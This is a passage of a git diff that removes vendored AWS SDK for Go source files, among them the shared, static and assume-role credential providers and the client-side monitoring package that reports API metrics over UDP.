output.Bytes(), awserr.NewBatchError( - ErrCodeProcessProviderExecution, - errMsgProcessProviderTimeout, - errors) // errors can be nil - } - } - - out := output.Bytes() - - if runtime.GOOS == "windows" { - // windows adds slashes to quotes - out = []byte(strings.Replace(string(out), `\"`, `"`, -1)) - } - - return out, nil -} - -// appendError conveniently checks for nil before appending slice -func appendError(errors []error, err error) []error { - if err != nil { - return append(errors, err) - } - return errors -} - -func executeCommand(cmd exec.Cmd, exec chan error) { - // Start the command - err := cmd.Start() - if err == nil { - err = cmd.Wait() - } - - exec <- err -} - -func readInput(r io.Reader, w io.Writer, read chan error) { - tee := io.TeeReader(r, w) - - _, err := ioutil.ReadAll(tee) - - if err == io.EOF { - err = nil - } - - read <- err // will only arrive here when write end of pipe is closed -} diff --git a/vendor/github.com/aws/aws-sdk-go/aws/credentials/shared_credentials_provider.go b/vendor/github.com/aws/aws-sdk-go/aws/credentials/shared_credentials_provider.go deleted file mode 100644 index e155149581..0000000000 --- a/vendor/github.com/aws/aws-sdk-go/aws/credentials/shared_credentials_provider.go +++ /dev/null @@ -1,150 +0,0 @@ -package credentials - -import ( - "fmt" - "os" - - "github.com/aws/aws-sdk-go/aws/awserr" - "github.com/aws/aws-sdk-go/internal/ini" - "github.com/aws/aws-sdk-go/internal/shareddefaults" -) - -// SharedCredsProviderName provides a name of SharedCreds provider -const SharedCredsProviderName = "SharedCredentialsProvider" - -var ( - // ErrSharedCredentialsHomeNotFound is emitted when the user directory cannot be found. - ErrSharedCredentialsHomeNotFound = awserr.New("UserHomeNotFound", "user home directory not found.", nil) -) - -// A SharedCredentialsProvider retrieves credentials from the current user's home -// directory, and keeps track if those credentials are expired. -// -// Profile ini file example: $HOME/.aws/credentials -type SharedCredentialsProvider struct { - // Path to the shared credentials file. - // - // If empty will look for "AWS_SHARED_CREDENTIALS_FILE" env variable. If the - // env value is empty will default to current user's home directory. - // Linux/OSX: "$HOME/.aws/credentials" - // Windows: "%USERPROFILE%\.aws\credentials" - Filename string - - // AWS Profile to extract credentials from the shared credentials file. If empty - // will default to environment variable "AWS_PROFILE" or "default" if - // environment variable is also not set. - Profile string - - // retrieved states if the credentials have been successfully retrieved. - retrieved bool -} - -// NewSharedCredentials returns a pointer to a new Credentials object -// wrapping the Profile file provider. -func NewSharedCredentials(filename, profile string) *Credentials { - return NewCredentials(&SharedCredentialsProvider{ - Filename: filename, - Profile: profile, - }) -} - -// Retrieve reads and extracts the shared credentials from the current -// users home directory. -func (p *SharedCredentialsProvider) Retrieve() (Value, error) { - p.retrieved = false - - filename, err := p.filename() - if err != nil { - return Value{ProviderName: SharedCredsProviderName}, err - } - - creds, err := loadProfile(filename, p.profile()) - if err != nil { - return Value{ProviderName: SharedCredsProviderName}, err - } - - p.retrieved = true - return creds, nil -} - -// IsExpired returns if the shared credentials have expired. -func (p *SharedCredentialsProvider) IsExpired() bool { - return !p.retrieved -} - -// loadProfiles loads from the file pointed to by shared credentials filename for profile. -// The credentials retrieved from the profile will be returned or error. Error will be -// returned if it fails to read from the file, or the data is invalid. -func loadProfile(filename, profile string) (Value, error) { - config, err := ini.OpenFile(filename) - if err != nil { - return Value{ProviderName: SharedCredsProviderName}, awserr.New("SharedCredsLoad", "failed to load shared credentials file", err) - } - - iniProfile, ok := config.GetSection(profile) - if !ok { - return Value{ProviderName: SharedCredsProviderName}, awserr.New("SharedCredsLoad", "failed to get profile", nil) - } - - id := iniProfile.String("aws_access_key_id") - if len(id) == 0 { - return Value{ProviderName: SharedCredsProviderName}, awserr.New("SharedCredsAccessKey", - fmt.Sprintf("shared credentials %s in %s did not contain aws_access_key_id", profile, filename), - nil) - } - - secret := iniProfile.String("aws_secret_access_key") - if len(secret) == 0 { - return Value{ProviderName: SharedCredsProviderName}, awserr.New("SharedCredsSecret", - fmt.Sprintf("shared credentials %s in %s did not contain aws_secret_access_key", profile, filename), - nil) - } - - // Default to empty string if not found - token := iniProfile.String("aws_session_token") - - return Value{ - AccessKeyID: id, - SecretAccessKey: secret, - SessionToken: token, - ProviderName: SharedCredsProviderName, - }, nil -} - -// filename returns the filename to use to read AWS shared credentials. -// -// Will return an error if the user's home directory path cannot be found. -func (p *SharedCredentialsProvider) filename() (string, error) { - if len(p.Filename) != 0 { - return p.Filename, nil - } - - if p.Filename = os.Getenv("AWS_SHARED_CREDENTIALS_FILE"); len(p.Filename) != 0 { - return p.Filename, nil - } - - if home := shareddefaults.UserHomeDir(); len(home) == 0 { - // Backwards compatibility of home directly not found error being returned. - // This error is too verbose, failure when opening the file would of been - // a better error to return. - return "", ErrSharedCredentialsHomeNotFound - } - - p.Filename = shareddefaults.SharedCredentialsFilename() - - return p.Filename, nil -} - -// profile returns the AWS shared credentials profile. If empty will read -// environment variable "AWS_PROFILE". If that is not set profile will -// return "default". -func (p *SharedCredentialsProvider) profile() string { - if p.Profile == "" { - p.Profile = os.Getenv("AWS_PROFILE") - } - if p.Profile == "" { - p.Profile = "default" - } - - return p.Profile -} diff --git a/vendor/github.com/aws/aws-sdk-go/aws/credentials/static_provider.go b/vendor/github.com/aws/aws-sdk-go/aws/credentials/static_provider.go deleted file mode 100644 index 531139e397..0000000000 --- a/vendor/github.com/aws/aws-sdk-go/aws/credentials/static_provider.go +++ /dev/null @@ -1,55 +0,0 @@ -package credentials - -import ( - "github.com/aws/aws-sdk-go/aws/awserr" -) - -// StaticProviderName provides a name of Static provider -const StaticProviderName = "StaticProvider" - -var ( - // ErrStaticCredentialsEmpty is emitted when static credentials are empty. - ErrStaticCredentialsEmpty = awserr.New("EmptyStaticCreds", "static credentials are empty", nil) -) - -// A StaticProvider is a set of credentials which are set programmatically, -// and will never expire. -type StaticProvider struct { - Value -} - -// NewStaticCredentials returns a pointer to a new Credentials object -// wrapping a static credentials value provider. -func NewStaticCredentials(id, secret, token string) *Credentials { - return NewCredentials(&StaticProvider{Value: Value{ - AccessKeyID: id, - SecretAccessKey: secret, - SessionToken: token, - }}) -} - -// NewStaticCredentialsFromCreds returns a pointer to a new Credentials object -// wrapping the static credentials value provide. Same as NewStaticCredentials -// but takes the creds Value instead of individual fields -func NewStaticCredentialsFromCreds(creds Value) *Credentials { - return NewCredentials(&StaticProvider{Value: creds}) -} - -// Retrieve returns the credentials or error if the credentials are invalid. -func (s *StaticProvider) Retrieve() (Value, error) { - if s.AccessKeyID == "" || s.SecretAccessKey == "" { - return Value{ProviderName: StaticProviderName}, ErrStaticCredentialsEmpty - } - - if len(s.Value.ProviderName) == 0 { - s.Value.ProviderName = StaticProviderName - } - return s.Value, nil -} - -// IsExpired returns if the credentials are expired. -// -// For StaticProvider, the credentials never expired. -func (s *StaticProvider) IsExpired() bool { - return false -} diff --git a/vendor/github.com/aws/aws-sdk-go/aws/credentials/stscreds/assume_role_provider.go b/vendor/github.com/aws/aws-sdk-go/aws/credentials/stscreds/assume_role_provider.go deleted file mode 100644 index 4108e433e6..0000000000 --- a/vendor/github.com/aws/aws-sdk-go/aws/credentials/stscreds/assume_role_provider.go +++ /dev/null @@ -1,298 +0,0 @@ -/* -Package stscreds are credential Providers to retrieve STS AWS credentials. - -STS provides multiple ways to retrieve credentials which can be used when making -future AWS service API operation calls. - -The SDK will ensure that per instance of credentials.Credentials all requests -to refresh the credentials will be synchronized. But, the SDK is unable to -ensure synchronous usage of the AssumeRoleProvider if the value is shared -between multiple Credentials, Sessions or service clients. - -Assume Role - -To assume an IAM role using STS with the SDK you can create a new Credentials -with the SDKs's stscreds package. - - // Initial credentials loaded from SDK's default credential chain. Such as - // the environment, shared credentials (~/.aws/credentials), or EC2 Instance - // Role. These credentials will be used to to make the STS Assume Role API. - sess := session.Must(session.NewSession()) - - // Create the credentials from AssumeRoleProvider to assume the role - // referenced by the "myRoleARN" ARN. - creds := stscreds.NewCredentials(sess, "myRoleArn") - - // Create service client value configured for credentials - // from assumed role. - svc := s3.New(sess, &aws.Config{Credentials: creds}) - -Assume Role with static MFA Token - -To assume an IAM role with a MFA token you can either specify a MFA token code -directly or provide a function to prompt the user each time the credentials -need to refresh the role's credentials. Specifying the TokenCode should be used -for short lived operations that will not need to be refreshed, and when you do -not want to have direct control over the user provides their MFA token. - -With TokenCode the AssumeRoleProvider will be not be able to refresh the role's -credentials. - - // Create the credentials from AssumeRoleProvider to assume the role - // referenced by the "myRoleARN" ARN using the MFA token code provided. - creds := stscreds.NewCredentials(sess, "myRoleArn", func(p *stscreds.AssumeRoleProvider) { - p.SerialNumber = aws.String("myTokenSerialNumber") - p.TokenCode = aws.String("00000000") - }) - - // Create service client value configured for credentials - // from assumed role. - svc := s3.New(sess, &aws.Config{Credentials: creds}) - -Assume Role with MFA Token Provider - -To assume an IAM role with MFA for longer running tasks where the credentials -may need to be refreshed setting the TokenProvider field of AssumeRoleProvider -will allow the credential provider to prompt for new MFA token code when the -role's credentials need to be refreshed. - -The StdinTokenProvider function is available to prompt on stdin to retrieve -the MFA token code from the user. You can also implement custom prompts by -satisfing the TokenProvider function signature. - -Using StdinTokenProvider with multiple AssumeRoleProviders, or Credentials will -have undesirable results as the StdinTokenProvider will not be synchronized. A -single Credentials with an AssumeRoleProvider can be shared safely. - - // Create the credentials from AssumeRoleProvider to assume the role - // referenced by the "myRoleARN" ARN. Prompting for MFA token from stdin. - creds := stscreds.NewCredentials(sess, "myRoleArn", func(p *stscreds.AssumeRoleProvider) { - p.SerialNumber = aws.String("myTokenSerialNumber") - p.TokenProvider = stscreds.StdinTokenProvider - }) - - // Create service client value configured for credentials - // from assumed role. - svc := s3.New(sess, &aws.Config{Credentials: creds}) - -*/ -package stscreds - -import ( - "fmt" - "time" - - "github.com/aws/aws-sdk-go/aws" - "github.com/aws/aws-sdk-go/aws/awserr" - "github.com/aws/aws-sdk-go/aws/client" - "github.com/aws/aws-sdk-go/aws/credentials" - "github.com/aws/aws-sdk-go/service/sts" -) - -// StdinTokenProvider will prompt on stdout and read from stdin for a string value. -// An error is returned if reading from stdin fails. -// -// Use this function go read MFA tokens from stdin. The function makes no attempt -// to make atomic prompts from stdin across multiple gorouties. -// -// Using StdinTokenProvider with multiple AssumeRoleProviders, or Credentials will -// have undesirable results as the StdinTokenProvider will not be synchronized. A -// single Credentials with an AssumeRoleProvider can be shared safely -// -// Will wait forever until something is provided on the stdin. -func StdinTokenProvider() (string, error) { - var v string - fmt.Printf("Assume Role MFA token code: ") - _, err := fmt.Scanln(&v) - - return v, err -} - -// ProviderName provides a name of AssumeRole provider -const ProviderName = "AssumeRoleProvider" - -// AssumeRoler represents the minimal subset of the STS client API used by this provider. -type AssumeRoler interface { - AssumeRole(input *sts.AssumeRoleInput) (*sts.AssumeRoleOutput, error) -} - -// DefaultDuration is the default amount of time in minutes that the credentials -// will be valid for. -var DefaultDuration = time.Duration(15) * time.Minute - -// AssumeRoleProvider retrieves temporary credentials from the STS service, and -// keeps track of their expiration time. -// -// This credential provider will be used by the SDKs default credential change -// when shared configuration is enabled, and the shared config or shared credentials -// file configure assume role. See Session docs for how to do this. -// -// AssumeRoleProvider does not provide any synchronization and it is not safe -// to share this value across multiple Credentials, Sessions, or service clients -// without also sharing the same Credentials instance. -type AssumeRoleProvider struct { - credentials.Expiry - - // STS client to make assume role request with. - Client AssumeRoler - - // Role to be assumed. - RoleARN string - - // Session name, if you wish to reuse the credentials elsewhere. - RoleSessionName string - - // Expiry duration of the STS credentials. Defaults to 15 minutes if not set. - Duration time.Duration - - // Optional ExternalID to pass along, defaults to nil if not set. - ExternalID *string - - // The policy plain text must be 2048 bytes or shorter. However, an internal - // conversion compresses it into a packed binary format with a separate limit. - // The PackedPolicySize response element indicates by percentage how close to - // the upper size limit the policy is, with 100% equaling the maximum allowed - // size. - Policy *string - - // The identification number of the MFA device that is associated with the user - // who is making the AssumeRole call. Specify this value if the trust policy - // of the role being assumed includes a condition that requires MFA authentication. - // The value is either the serial number for a hardware device (such as GAHT12345678) - // or an Amazon Resource Name (ARN) for a virtual device (such as arn:aws:iam::123456789012:mfa/user). - SerialNumber *string - - // The value provided by the MFA device, if the trust policy of the role being - // assumed requires MFA (that is, if the policy includes a condition that tests - // for MFA). If the role being assumed requires MFA and if the TokenCode value - // is missing or expired, the AssumeRole call returns an "access denied" error. - // - // If SerialNumber is set and neither TokenCode nor TokenProvider are also - // set an error will be returned. - TokenCode *string - - // Async method of providing MFA token code for assuming an IAM role with MFA. - // The value returned by the function will be used as the TokenCode in the Retrieve - // call. See StdinTokenProvider for a provider that prompts and reads from stdin. - // - // This token provider will be called when ever the assumed role's - // credentials need to be refreshed when SerialNumber is also set and - // TokenCode is not set. - // - // If both TokenCode and TokenProvider is set, TokenProvider will be used and - // TokenCode is ignored. - TokenProvider func() (string, error) - - // ExpiryWindow will allow the credentials to trigger refreshing prior to - // the credentials actually expiring. This is beneficial so race conditions - // with expiring credentials do not cause request to fail unexpectedly - // due to ExpiredTokenException exceptions. - // - // So a ExpiryWindow of 10s would cause calls to IsExpired() to return true - // 10 seconds before the credentials are actually expired. - // - // If ExpiryWindow is 0 or less it will be ignored. - ExpiryWindow time.Duration -} - -// NewCredentials returns a pointer to a new Credentials object wrapping the -// AssumeRoleProvider. The credentials will expire every 15 minutes and the -// role will be named after a nanosecond timestamp of this operation. -// -// Takes a Config provider to create the STS client. The ConfigProvider is -// satisfied by the session.Session type. -// -// It is safe to share the returned Credentials with multiple Sessions and -// service clients. All access to the credentials and refreshing them -// will be synchronized. -func NewCredentials(c client.ConfigProvider, roleARN string, options ...func(*AssumeRoleProvider)) *credentials.Credentials { - p := &AssumeRoleProvider{ - Client: sts.New(c), - RoleARN: roleARN, - Duration: DefaultDuration, - } - - for _, option := range options { - option(p) - } - - return credentials.NewCredentials(p) -} - -// NewCredentialsWithClient returns a pointer to a new Credentials object wrapping the -// AssumeRoleProvider. The credentials will expire every 15 minutes and the -// role will be named after a nanosecond timestamp of this operation. -// -// Takes an AssumeRoler which can be satisfied by the STS client. -// -// It is safe to share the returned Credentials with multiple Sessions and -// service clients. All access to the credentials and refreshing them -// will be synchronized. -func NewCredentialsWithClient(svc AssumeRoler, roleARN string, options ...func(*AssumeRoleProvider)) *credentials.Credentials { - p := &AssumeRoleProvider{ - Client: svc, - RoleARN: roleARN, - Duration: DefaultDuration, - } - - for _, option := range options { - option(p) - } - - return credentials.NewCredentials(p) -} - -// Retrieve generates a new set of temporary credentials using STS. -func (p *AssumeRoleProvider) Retrieve() (credentials.Value, error) { - - // Apply defaults where parameters are not set. - if p.RoleSessionName == "" { - // Try to work out a role name that will hopefully end up unique. - p.RoleSessionName = fmt.Sprintf("%d", time.Now().UTC().UnixNano()) - } - if p.Duration == 0 { - // Expire as often as AWS permits. - p.Duration = DefaultDuration - } - input := &sts.AssumeRoleInput{ - DurationSeconds: aws.Int64(int64(p.Duration / time.Second)), - RoleArn: aws.String(p.RoleARN), - RoleSessionName: aws.String(p.RoleSessionName), - ExternalId: p.ExternalID, - } - if p.Policy != nil { - input.Policy = p.Policy - } - if p.SerialNumber != nil { - if p.TokenCode != nil { - input.SerialNumber = p.SerialNumber - input.TokenCode = p.TokenCode - } else if p.TokenProvider != nil { - input.SerialNumber = p.SerialNumber - code, err := p.TokenProvider() - if err != nil { - return credentials.Value{ProviderName: ProviderName}, err - } - input.TokenCode = aws.String(code) - } else { - return credentials.Value{ProviderName: ProviderName}, - awserr.New("AssumeRoleTokenNotAvailable", - "assume role with MFA enabled, but neither TokenCode nor TokenProvider are set", nil) - } - } - - roleOutput, err := p.Client.AssumeRole(input) - if err != nil { - return credentials.Value{ProviderName: ProviderName}, err - } - - // We will proactively generate new credentials before they expire. - p.SetExpiration(*roleOutput.Credentials.Expiration, p.ExpiryWindow) - - return credentials.Value{ - AccessKeyID: *roleOutput.Credentials.AccessKeyId, - SecretAccessKey: *roleOutput.Credentials.SecretAccessKey, - SessionToken: *roleOutput.Credentials.SessionToken, - ProviderName: ProviderName, - }, nil -} diff --git a/vendor/github.com/aws/aws-sdk-go/aws/csm/doc.go b/vendor/github.com/aws/aws-sdk-go/aws/csm/doc.go deleted file mode 100644 index 152d785b36..0000000000 --- a/vendor/github.com/aws/aws-sdk-go/aws/csm/doc.go +++ /dev/null @@ -1,46 +0,0 @@ -// Package csm provides Client Side Monitoring (CSM) which enables sending metrics -// via UDP connection. Using the Start function will enable the reporting of -// metrics on a given port. If Start is called, with different parameters, again, -// a panic will occur. -// -// Pause can be called to pause any metrics publishing on a given port. Sessions -// that have had their handlers modified via InjectHandlers may still be used. -// However, the handlers will act as a no-op meaning no metrics will be published. -// -// Example: -// r, err := csm.Start("clientID", ":31000") -// if err != nil { -// panic(fmt.Errorf("failed starting CSM: %v", err)) -// } -// -// sess, err := session.NewSession(&aws.Config{}) -// if err != nil { -// panic(fmt.Errorf("failed loading session: %v", err)) -// } -// -// r.InjectHandlers(&sess.Handlers) -// -// client := s3.New(sess) -// resp, err := client.GetObject(&s3.GetObjectInput{ -// Bucket: aws.String("bucket"), -// Key: aws.String("key"), -// }) -// -// // Will pause monitoring -// r.Pause() -// resp, err = client.GetObject(&s3.GetObjectInput{ -// Bucket: aws.String("bucket"), -// Key: aws.String("key"), -// }) -// -// // Resume monitoring -// r.Continue() -// -// Start returns a Reporter that is used to enable or disable monitoring. If -// access to the Reporter is required later, calling Get will return the Reporter -// singleton. -// -// Example: -// r := csm.Get() -// r.Continue() -package csm diff --git a/vendor/github.com/aws/aws-sdk-go/aws/csm/enable.go b/vendor/github.com/aws/aws-sdk-go/aws/csm/enable.go deleted file mode 100644 index 2f0c6eac9a..0000000000 --- a/vendor/github.com/aws/aws-sdk-go/aws/csm/enable.go +++ /dev/null @@ -1,67 +0,0 @@ -package csm - -import ( - "fmt" - "sync" -) - -var ( - lock sync.Mutex -) - -// Client side metric handler names -const ( - APICallMetricHandlerName = "awscsm.SendAPICallMetric" - APICallAttemptMetricHandlerName = "awscsm.SendAPICallAttemptMetric" -) - -// Start will start the a long running go routine to capture -// client side metrics. Calling start multiple time will only -// start the metric listener once and will panic if a different -// client ID or port is passed in. -// -// Example: -// r, err := csm.Start("clientID", "127.0.0.1:8094") -// if err != nil { -// panic(fmt.Errorf("expected no error, but received %v", err)) -// } -// sess := session.NewSession() -// r.InjectHandlers(sess.Handlers) -// -// svc := s3.New(sess) -// out, err := svc.GetObject(&s3.GetObjectInput{ -// Bucket: aws.String("bucket"), -// Key: aws.String("key"), -// }) -func Start(clientID string, url string) (*Reporter, error) { - lock.Lock() - defer lock.Unlock() - - if sender == nil { - sender = newReporter(clientID, url) - } else { - if sender.clientID != clientID { - panic(fmt.Errorf("inconsistent client IDs. %q was expected, but received %q", sender.clientID, clientID)) - } - - if sender.url != url { - panic(fmt.Errorf("inconsistent URLs. %q was expected, but received %q", sender.url, url)) - } - } - - if err := connect(url); err != nil { - sender = nil - return nil, err - } - - return sender, nil -} - -// Get will return a reporter if one exists, if one does not exist, nil will -// be returned. -func Get() *Reporter { - lock.Lock() - defer lock.Unlock() - - return sender -} diff --git a/vendor/github.com/aws/aws-sdk-go/aws/csm/metric.go b/vendor/github.com/aws/aws-sdk-go/aws/csm/metric.go deleted file mode 100644 index 5bacc791a1..0000000000 --- a/vendor/github.com/aws/aws-sdk-go/aws/csm/metric.go +++ /dev/null @@ -1,109 +0,0 @@ -package csm - -import ( - "strconv" - "time" - - "github.com/aws/aws-sdk-go/aws" -) - -type metricTime time.Time - -func (t metricTime) MarshalJSON() ([]byte, error) { - ns := time.Duration(time.Time(t).UnixNano()) - return []byte(strconv.FormatInt(int64(ns/time.Millisecond), 10)), nil -} - -type metric struct { - ClientID *string `json:"ClientId,omitempty"` - API *string `json:"Api,omitempty"` - Service *string `json:"Service,omitempty"` - Timestamp *metricTime `json:"Timestamp,omitempty"` - Type *string `json:"Type,omitempty"` - Version *int `json:"Version,omitempty"` - - AttemptCount *int `json:"AttemptCount,omitempty"` - Latency *int `json:"Latency,omitempty"` - - Fqdn *string `json:"Fqdn,omitempty"` - UserAgent *string `json:"UserAgent,omitempty"` - AttemptLatency *int `json:"AttemptLatency,omitempty"` - - SessionToken *string `json:"SessionToken,omitempty"` - Region *string `json:"Region,omitempty"` - AccessKey *string `json:"AccessKey,omitempty"` - HTTPStatusCode *int `json:"HttpStatusCode,omitempty"` - XAmzID2 *string `json:"XAmzId2,omitempty"` - XAmzRequestID *string `json:"XAmznRequestId,omitempty"` - - AWSException *string `json:"AwsException,omitempty"` - AWSExceptionMessage *string `json:"AwsExceptionMessage,omitempty"` - SDKException *string `json:"SdkException,omitempty"` - SDKExceptionMessage *string `json:"SdkExceptionMessage,omitempty"` - - FinalHTTPStatusCode *int `json:"FinalHttpStatusCode,omitempty"` - FinalAWSException *string `json:"FinalAwsException,omitempty"` - FinalAWSExceptionMessage *string `json:"FinalAwsExceptionMessage,omitempty"` - FinalSDKException *string `json:"FinalSdkException,omitempty"` - FinalSDKExceptionMessage *string `json:"FinalSdkExceptionMessage,omitempty"` - - DestinationIP *string `json:"DestinationIp,omitempty"` - ConnectionReused *int `json:"ConnectionReused,omitempty"` - - AcquireConnectionLatency *int `json:"AcquireConnectionLatency,omitempty"` - ConnectLatency *int `json:"ConnectLatency,omitempty"` - RequestLatency *int `json:"RequestLatency,omitempty"` - DNSLatency *int `json:"DnsLatency,omitempty"` - TCPLatency *int `json:"TcpLatency,omitempty"` - SSLLatency *int `json:"SslLatency,omitempty"` - - MaxRetriesExceeded *int `json:"MaxRetriesExceeded,omitempty"` -} - -func (m *metric) TruncateFields() { - m.ClientID = truncateString(m.ClientID, 255) - m.UserAgent = truncateString(m.UserAgent, 256) - - m.AWSException = truncateString(m.AWSException, 128) - m.AWSExceptionMessage = truncateString(m.AWSExceptionMessage, 512) - - m.SDKException = truncateString(m.SDKException, 128) - m.SDKExceptionMessage = truncateString(m.SDKExceptionMessage, 512) - - m.FinalAWSException = truncateString(m.FinalAWSException, 128) - m.FinalAWSExceptionMessage = truncateString(m.FinalAWSExceptionMessage, 512) - - m.FinalSDKException = truncateString(m.FinalSDKException, 128) - m.FinalSDKExceptionMessage = truncateString(m.FinalSDKExceptionMessage, 512) -} - -func truncateString(v *string, l int) *string { - if v != nil && len(*v) > l { - nv := (*v)[:l] - return &nv - } - - return v -} - -func (m *metric) SetException(e metricException) { - switch te := e.(type) { - case awsException: - m.AWSException = aws.String(te.exception) - m.AWSExceptionMessage = aws.String(te.message) - case sdkException: - m.SDKException = aws.String(te.exception) - m.SDKExceptionMessage = aws.String(te.message) - } -} - -func (m *metric) SetFinalException(e metricException) { - switch te := e.(type) { - case awsException: - m.FinalAWSException = aws.String(te.exception) - m.FinalAWSExceptionMessage = aws.String(te.message) - case sdkException: - m.FinalSDKException = aws.String(te.exception) - m.FinalSDKExceptionMessage = aws.String(te.message) - } -} diff --git a/vendor/github.com/aws/aws-sdk-go/aws/csm/metric_chan.go b/vendor/github.com/aws/aws-sdk-go/aws/csm/metric_chan.go deleted file mode 100644 index 514fc3739a..0000000000 --- a/vendor/github.com/aws/aws-sdk-go/aws/csm/metric_chan.go +++ /dev/null @@ -1,54 +0,0 @@ -package csm - -import ( - "sync/atomic" -) - -const ( - runningEnum = iota - pausedEnum -) - -var ( - // MetricsChannelSize of metrics to hold in the channel - MetricsChannelSize = 100 -) - -type metricChan struct { - ch chan metric - paused int64 -} - -func newMetricChan(size int) metricChan { - return metricChan{ - ch: make(chan metric, size), - } -} - -func (ch *metricChan) Pause() { - atomic.StoreInt64(&ch.paused, pausedEnum) -} - -func (ch *metricChan) Continue() { - atomic.StoreInt64(&ch.paused, runningEnum) -} - -func (ch *metricChan) IsPaused() bool { - v := atomic.LoadInt64(&ch.paused) - return v == pausedEnum -} - -// Push will push metrics to the metric channel if the channel -// is not paused -func (ch *metricChan) Push(m metric) bool { - if ch.IsPaused() { - return false - } - - select { - case ch.ch <- m: - return true - default: - return false - } -} diff --git a/vendor/github.com/aws/aws-sdk-go/aws/csm/metric_exception.go b/vendor/github.com/aws/aws-sdk-go/aws/csm/metric_exception.go deleted file mode 100644 index 54a99280ce..0000000000 --- a/vendor/github.com/aws/aws-sdk-go/aws/csm/metric_exception.go +++ /dev/null @@ -1,26 +0,0 @@ -package csm - -type metricException interface { - Exception() string - Message() string -} - -type requestException struct { - exception string - message string -} - -func (e requestException) Exception() string { - return e.exception -} -func (e requestException) Message() string { - return e.message -} - -type awsException struct { - requestException -} - -type sdkException struct { - requestException -} diff --git a/vendor/github.com/aws/aws-sdk-go/aws/csm/reporter.go b/vendor/github.com/aws/aws-sdk-go/aws/csm/reporter.go deleted file mode 100644 index 0b5571acfb..0000000000 --- a/vendor/github.com/aws/aws-sdk-go/aws/csm/reporter.go +++ /dev/null @@ -1,260 +0,0 @@ -package csm - -import ( - "encoding/json" - "net" - "time" - - "github.com/aws/aws-sdk-go/aws" - "github.com/aws/aws-sdk-go/aws/awserr" - "github.com/aws/aws-sdk-go/aws/request" -) - -const ( - // DefaultPort is used when no port is specified - DefaultPort = "31000" -) - -// Reporter will gather metrics of API requests made and -// send those metrics to the CSM endpoint. -type Reporter struct { - clientID string - url string - conn net.Conn - metricsCh metricChan - done chan struct{} -} - -var ( - sender *Reporter -) - -func connect(url string) error { - const network = "udp" - if err := sender.connect(network, url); err != nil { - return err - } - - if sender.done == nil { - sender.done = make(chan struct{}) - go sender.start() - } - - return nil -} - -func newReporter(clientID, url string) *Reporter { - return &Reporter{ - clientID: clientID, - url: url, - metricsCh: newMetricChan(MetricsChannelSize), - } -} - -func (rep *Reporter) sendAPICallAttemptMetric(r *request.Request) { - if rep == nil { - return - } - - now := time.Now() - creds, _ := r.Config.Credentials.Get() - - m := metric{ - ClientID: aws.String(rep.clientID), - API: aws.String(r.Operation.Name), - Service: aws.String(r.ClientInfo.ServiceID), - Timestamp: (*metricTime)(&now), - UserAgent: aws.String(r.HTTPRequest.Header.Get("User-Agent")), - Region: r.Config.Region, - Type: aws.String("ApiCallAttempt"), - Version: aws.Int(1), - - XAmzRequestID: aws.String(r.RequestID), - - AttemptCount: aws.Int(r.RetryCount + 1), - AttemptLatency: aws.Int(int(now.Sub(r.AttemptTime).Nanoseconds() / int64(time.Millisecond))), - AccessKey: aws.String(creds.AccessKeyID), - } - - if r.HTTPResponse != nil { - m.HTTPStatusCode = aws.Int(r.HTTPResponse.StatusCode) - } - - if r.Error != nil { - if awserr, ok := r.Error.(awserr.Error); ok { - m.SetException(getMetricException(awserr)) - } - } - - m.TruncateFields() - rep.metricsCh.Push(m) -} - -func getMetricException(err awserr.Error) metricException { - msg := err.Error() - code := err.Code() - - switch code { - case "RequestError", - "SerializationError", - request.CanceledErrorCode: - return sdkException{ - requestException{exception: code, message: msg}, - } - default: - return awsException{ - requestException{exception: code, message: msg}, - } - } -} - -func (rep *Reporter) sendAPICallMetric(r *request.Request) { - if rep == nil { - return - } - - now := time.Now() - m := metric{ - ClientID: aws.String(rep.clientID), - API: aws.String(r.Operation.Name), - Service: aws.String(r.ClientInfo.ServiceID), - Timestamp: (*metricTime)(&now), - UserAgent: aws.String(r.HTTPRequest.Header.Get("User-Agent")), - Type: aws.String("ApiCall"), - AttemptCount: aws.Int(r.RetryCount + 1), - Region: r.Config.Region, - Latency: aws.Int(int(time.Now().Sub(r.Time) / time.Millisecond)), - XAmzRequestID: aws.String(r.RequestID), - MaxRetriesExceeded: aws.Int(boolIntValue(r.RetryCount >= r.MaxRetries())), - } - - if r.HTTPResponse != nil { - m.FinalHTTPStatusCode = aws.Int(r.HTTPResponse.StatusCode) - } - - if r.Error != nil { - if awserr, ok := r.Error.(awserr.Error); ok { - m.SetFinalException(getMetricException(awserr)) - } - } - - m.TruncateFields() - - // TODO: Probably want to figure something out for logging dropped - // metrics - rep.metricsCh.Push(m) -} - -func (rep *Reporter) connect(network, url string) error { - if rep.conn != nil { - rep.conn.Close() - } - - conn, err := net.Dial(network, url) - if err != nil { - return awserr.New("UDPError", "Could not connect", err) - } - - rep.conn = conn - - return nil -} - -func (rep *Reporter) close() { - if rep.done != nil { - close(rep.done) - } - - rep.metricsCh.Pause() -} - -func (rep *Reporter) start() { - defer func() { - rep.metricsCh.Pause() - }() - - for { - select { - case <-rep.done: - rep.done = nil - return - case m := <-rep.metricsCh.ch: - // TODO: What to do with this error? Probably should just log - b, err := json.Marshal(m) - if err != nil { - continue - } - - rep.conn.Write(b) - } - } -} - -// Pause will pause the metric channel preventing any new metrics from -// being added. -func (rep *Reporter) Pause() { - lock.Lock() - defer lock.Unlock() - - if rep == nil { - return - } - - rep.close() -} - -// Continue will reopen the metric channel and allow for monitoring -// to be resumed. -func (rep *Reporter) Continue() { - lock.Lock() - defer lock.Unlock() - if rep == nil { - return - } - - if !rep.metricsCh.IsPaused() { - return - } - - rep.metricsCh.Continue() -} - -// InjectHandlers will will enable client side metrics and inject the proper -// handlers to handle how metrics are sent. -// -// Example: -// // Start must be called in order to inject the correct handlers -// r, err := csm.Start("clientID", "127.0.0.1:8094") -// if err != nil { -// panic(fmt.Errorf("expected no error, but received %v", err)) -// } -// -// sess := session.NewSession() -// r.InjectHandlers(&sess.Handlers) -// -// // create a new service client with our client side metric session -// svc := s3.New(sess) -func (rep *Reporter) InjectHandlers(handlers *request.Handlers) { - if rep == nil { - return - } - - handlers.Complete.PushFrontNamed(request.NamedHandler{ - Name: APICallMetricHandlerName, - Fn: rep.sendAPICallMetric, - }) - - handlers.CompleteAttempt.PushFrontNamed(request.NamedHandler{ - Name: APICallAttemptMetricHandlerName, - Fn: rep.sendAPICallAttemptMetric, - }) -} - -// boolIntValue return 1 for true and 0 for false. -func boolIntValue(b bool) int { - if b { - return 1 - } - - return 0 -} diff --git a/vendor/github.com/aws/aws-sdk-go/aws/defaults/defaults.go b/vendor/github.com/aws/aws-sdk-go/aws/defaults/defaults.go deleted file mode 100644 